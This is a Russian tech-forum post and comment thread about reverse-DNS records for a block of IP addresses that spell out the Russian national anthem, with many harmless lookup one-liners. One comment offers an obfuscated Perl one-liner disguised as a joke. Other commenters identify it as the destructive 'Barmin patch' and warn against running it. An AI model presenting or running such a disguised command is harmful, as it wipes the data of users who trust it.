Использование IPv4 адресов с российским размахом

    По мотивам bash'а.

    Для тех, кто недостаточно хорошо помнит гимн РФ:
    for i in {200..225}; do nslookup 62.76.96.$i | grep "(?<=name = ).*$" -o -P ; done

    upd Варианты улучшенные:

    лаконичный
    dig -t ptr +short {200..225}.96.76.62.in-addr.arpa

    винда с PowerShell
    for ($i=200; $i -le 223; $i++){(nslookup 62.76.96.$i)[3].ToString().Replace('.', ' ').Substring(9)}

    винда без PowerShell
    for /l %i in (200,1,255) do nslookup 62.76.96.%i
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 84

      +2
      В дебиане не отработало, греп выругался на -P. Так что вариант попроще:

      for i in {200..225}; do nslookup 62.76.96.$i | grep name | awk '{print $4}'; done
        0
        Ещё вариант:

        for i in {200..225}; do dig +short $i.96.76.62.in-addr.arpa ptr; done
          +9
          Или даже так:

          dig -t ptr +short {200..225}.96.76.62.in-addr.arpa
          0
          дебиан тестинг, первый вариант нормально отработал
          +2
          А что за Sirius-Project?
            +5
            ребята, отнеситесь с пониманием, не минусуйте — дайте человеку возможность перенести пост в хабраюмор :)
              +6
              MacOS отработало на 5 :)
                0
                а мне выдало -bash: syntax error near unexpected token `do'
                :(
                  +5
                  А зачем же вы, товарищ, вставляете в терминал код с символом $? :)
                    0
                    тьфу.
                    бес попутал осреди ночи.)
                  +1
                  а вот вариант в первом комментарии отработал)
                  очень забавно)
                  +9
                  Если кто-то из закоренелых виндузятников, таких как я, не врубился в прикол, то вот вариант для PowerShell

                  for ($i=200; $i -le 225; $i++){nslookup 62.76.96.$i}
                    +2
                    А если уже быть совсем задротомэстетом, то я написал вот такой вариант.
                    Правда, в нём не очень ясно, откуда прикол, зато выглядит красивее.

                    for ($i=200; $i -le 223; $i++){(nslookup 62.76.96.$i)[3].ToString().Replace('.', ' ').Substring(9)}

                    Ещё раз, это — для PowerShell в Windows
                      +12
                      Для виндузятников, у которых нет PowerShell'a можно сделать так
                      for /l %i in (200,1,255) do nslookup 62.76.96.%i
                        +3
                        223
                          +2
                          Ящитаю надо так:
                          @cls & @for /l %i in (200,1,223) do @(nslookup 62.76.96.%i & ping -n 4 127.0.0.1>nul & cls)
                          Если это в батник записать, то %i надо заменить на %%i.
                            +3
                            Вот как надо:

                            @echo off & (for /l %z in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%z`) do echo %a %b %c %d %e %f %g %h %i|findstr /RV "[0-9]") & echo on
                            • UFO just landed and posted this here
                                0
                                Не парсер лох, а тег <code> надо использовать.
                            0
                            for /L %i in (200, 1, 223) do @for /F «tokens=1* delims= » %A in ('nslookup 62.76.96.%i ^| find «Name:»') do @echo %B
                            +3
                            Можно сократить до

                            200..225|% {nslookup 62.76.96.$_}

                            Но для повышения читаемости лучше сделать хотя бы

                            200..225|% {nslookup 62.76.96.$_}|select-string "^Name:"

                            Или вообще так:
                            200..225 |% {[net.dns]::GetHostByAddress(«62.76.96.$_»).hostname}
                            +2
                            Жесть =)
                              +3
                              А это как так? А? =)
                                +57
                                Бывают в мире джипы с наклейками: «Срал я на экономию топлива».
                                А тут у чувака на DNS наклейка: «Срал я на то, что у всего мира закончились Ipv4 адреса»
                                  –2
                                  а какое отношение имеет обратный резолв к экономии ip-адресов, я хочу сказать что не смотря на то что у этих адресов такой забавный бекрезолв, они могут еффективно использоваться, для доказательства того что адреса используются не продуктивно информации не достаточно.
                                +1
                                всего лишь 25 адресов потрачено,
                                и то, в Интернет они не анонсируются

                                а в то же время, московские домосети получают свой уже не первый /19, а чуть менее, чем все, являются lir :)
                                и после этого вы говорите о растрате ipv4?
                                  +1
                                  Круто.
                                    +3
                                    Только один куплет должно выдать? :)
                                      0
                                      Все 3 куплета выдаёт.
                                      –18
                                      Для тех у кого стоит BolgenOS с предустановленным Питоном Попова увидеть прикол можно так: pastie.org/1002152 xD
                                        +25
                                        Для тех, кто не понял… =)
                                        io ~ # for i in {200..225}; do nslookup 62.76.96.$i | grep name | awk '{print $4}'; done                              Rossija.svjashhennaja.nasha.derzhava.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Rossija.ljubimaja.nasha.strana.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Moguchaja.volja.velikaja.slava.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Tvojo.dostojanie.na.vse.vremena.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Slavsja.Otechestvo.nashe.svobodnoe.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Bratskikh.narodov.sojuz.vekovojj.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Predkami.dannaja.mudrost.narodnaja.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Slavsja.strana.My.gordimsja.tobojj.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Ot.juzhnykh.morejj.do.poljarnogo.kraja.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Raskinulis.nashi.lesa.i.polja.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Odna.ty.na.svete.Odna.ty.takaja.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Khranimaja.Bogom.rodnaja.zemlja.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Slavsja.Otechestvo.nashe.svobodnoe.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Bratskikh.narodov.sojuz.vekovojj.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Predkami.dannaja.mudrost.narodnaja.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Slavsja.strana.My.gordimsja.tobojj.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Shirokijj.prostor.dlja.mechty.i.dlja.zhizni.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Grjadushhie.nam.otkryvajut.goda.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Nam.silu.dajot.nasha.vernost.Otchizne.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Tak.bylo.tak.est.i.tak.budet.vsegda.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Slavsja.Otechestvo.nashe.svobodnoe.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Bratskikh.narodov.sojuz.vekovojj.
                                        ns.sirip.net.
                                        ns.sirius-p.ru.
                                        Predkami.dannaja.mudrost.narodnaja.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        Slavsja.strana.My.gordimsja.tobojj.
                                        ns.sirius-p.ru.
                                        ns.sirip.net.
                                        io ~ #
                                        
                                          0
                                          Почему из-под рута?
                                          +1
                                          Я вот вообще не понял ничего :)
                                            +3
                                            банальный резолв на каждый IP адрес )
                                            понятное дело, что в обратную сторону это работать не будет.

                                            вообщем, порадовало!
                                            +3
                                            А можно как-то спикером прожужжать мелодию?
                                              +3
                                              Можно festival'ем это все прочитать
                                                +19
                                                Могу только вот это предложить (for Linux)

                                                beep -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 250 -f 622.26 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 466.16 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 587.32 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 300 -f 392.00 -D 150 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 392
                                                  +7
                                                  Неннееее, неее, я на повершелл переводить это не буду! Даже не уговаривайте! Но! Всё же это отличный вызов! Я реализовал его так:

                                                  Гимн Российской Федерации!
                                                  Исполняет: Windows Media Player 12
                                                  Оркестр: PowerShell ISE, Windows 7 Ultimate

                                                  Ноты:
                                                  Set-Location $HOME
                                                  $client = New-Object System.Net.WebClient
                                                  $client.DownloadFile(«gimnrf.narod.ru/russian_hymn.mp3», «hymh.mp3»)
                                                  .\hymh.mp3
                                                    +67
                                                    А чё оно пропищало то? А то сервер в стойке стоит в датацентре :)
                                                      +26
                                                      you made my day. Спасибо.
                                                        +24
                                                        Представляю реакцию обслуживающего персонала =)
                                                          +41
                                                          Ага, с учетом того, что ДЦ находится в Киеве.
                                                            +16
                                                            Восстание машин, как оно есть.
                                                          0
                                                          Не скажу. Так неинтересно будет. :)
                                                          +5
                                                          а у меня пищалки нет.)))
                                                            0
                                                            Больше похоже на тему звездных войн, а не гимна РФ
                                                              +1
                                                              Капитан какбэ намекает, что это она и есть.
                                                            0
                                                            Извините за моветон, но тут описано как-что настроить в убунте и как проиграть гимн ;)
                                                            +1
                                                            психи, ёмоё!!!
                                                              +1
                                                              DNS-гимн
                                                              –11
                                                              Почитал. Какой-то он странный. Меня в школе учили совсем другому тексту: Союз нерушимый республик свободных сплотила на веки великая Русь

                                                              Откуда эта самодеятельность?
                                                                +27
                                                                Вас учили гимну СССР, сейчас несколько другая страна и другой гимн. Как вы это пропустили? ;)
                                                                  –10
                                                                  Там эти гимны менялись как перчатки.
                                                                    +6
                                                                    Этому варианту уже 10 лет. Пруф: история гимна России.
                                                                      –14
                                                                      Каждые десять лет меняют? Скоро следующая замена планируется, или как?
                                                                        +10
                                                                        Не ко мне вопрос. Но за 10 можно было бы узнать какой у нас в стране гимн.
                                                                          –7
                                                                          Ну узнаю. И? Потом опять поменяют. Снова учить?
                                                                            +7
                                                                            Вы просите вам посоветовать? Решите сами, учить вам его или нет. Раз в 10 лет можно и поучить.

                                                                            Я бы посоветовал вам участвовать в жизни страны хотя бы на том уровне, чтобы актуальная символика не казалась вам незнакомой.
                                                                              –7
                                                                              Что поменяется в стране о того, что я буду знать «актуальную в настоящий момент символику» (что там Пелевин про… м… представителей сексуальных меньшинств писал? Насчёт «актуальных»).

                                                                              Я предпочитаю не зубрить очередную ахинею, а заниматься своим делом. И по мере возможности не давать взятки и откаты, не ездить на красный свет… Или актуальная символика важнее?
                                                                                +9
                                                                                Тогда почему удивляетесь тому, что не гимн сменился, если вам на это глубоко параллельно?
                                                                0
                                                                Если уж писать на Windows CMD, то вот:

                                                                @echo off & for /l %i in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%i`) do echo %a %b %c %d %e | findstr /RV "[0-9]"
                                                                  0
                                                                  Ага, там, оказывается, может быть больше слов в строке. Тогда вот вариант:

                                                                  @echo off & for /l %z in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%z`) do echo %a %b %c %d %e %f %g %h %i | findstr /RV "[0-9]"
                                                                    0
                                                                    С украшательствами:
                                                                      +2
                                                                      Ссылка: russia. Чтобы работало в батнике — заменить % на %% (т.е. вместо %i будет %%i)
                                                                        0
                                                                        Вырвиглаз :)
                                                                    0
                                                                    переведите лучше пищалку мелодии, что выше выложили для винды :)
                                                                    +1
                                                                    Вот кому-то делать нечего!
                                                                    • UFO just landed and posted this here
                                                                        +1
                                                                        Пропевать не успевал, пришлось паузу добавить
                                                                        for /l %i in (200,1,223) do nslookup 62.76.96.%i & pause
                                                                          +2
                                                                          DNS-караоке?
                                                                          –6
                                                                          чьи это айпишники? кого это я нечаянно заддосил?
                                                                            +7
                                                                            Если под DDoS'ом вы имеет ввиду ресолв адреса, то ты «заддосили» DNS-сервер своего провайдера или кто у вас там в resolv.conf/чтотамподвиндой прописан.
                                                                              0
                                                                              Теперь я понял задумку автора: адски распространить гимн России по всему миру в автоматическом режиме.
                                                                            –39
                                                                            Ну, тут уж сам бог велел:
                                                                            echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
                                                                              –2
                                                                              не печатает =(
                                                                                +5
                                                                                Люди, кто далёк. Просто не вводите ни куда.
                                                                                  0
                                                                                  Я догадываюсь что оно делает что-то плохое, но вот что не знаю. Подскажете?
                                                                                    0
                                                                                    А, всё, отставить. Нашел, довольно жестоко.
                                                                                  +2
                                                                                  Я знал, что кто-то выложит патч Бармина…
                                                                                  +1
                                                                                  foreach(range(200, 223) as $i){$h = gethostbyaddr("62.76.96.$i");echo $h.'<br>';}
                                                                                    +1
                                                                                    Теперь Python:
                                                                                    from socket import gethostbyaddr
                                                                                    for i in range(200, 223):
                                                                                    print gethostbyaddr('62.76.96.'+str(i))[0]
                                                                                    –4
                                                                                    Выложите однострочник на перле ;)
                                                                                      0
                                                                                      Изнасилование IPv4 адресов с российским размахом

                                                                                      Only users with full accounts can post comments. Log in, please.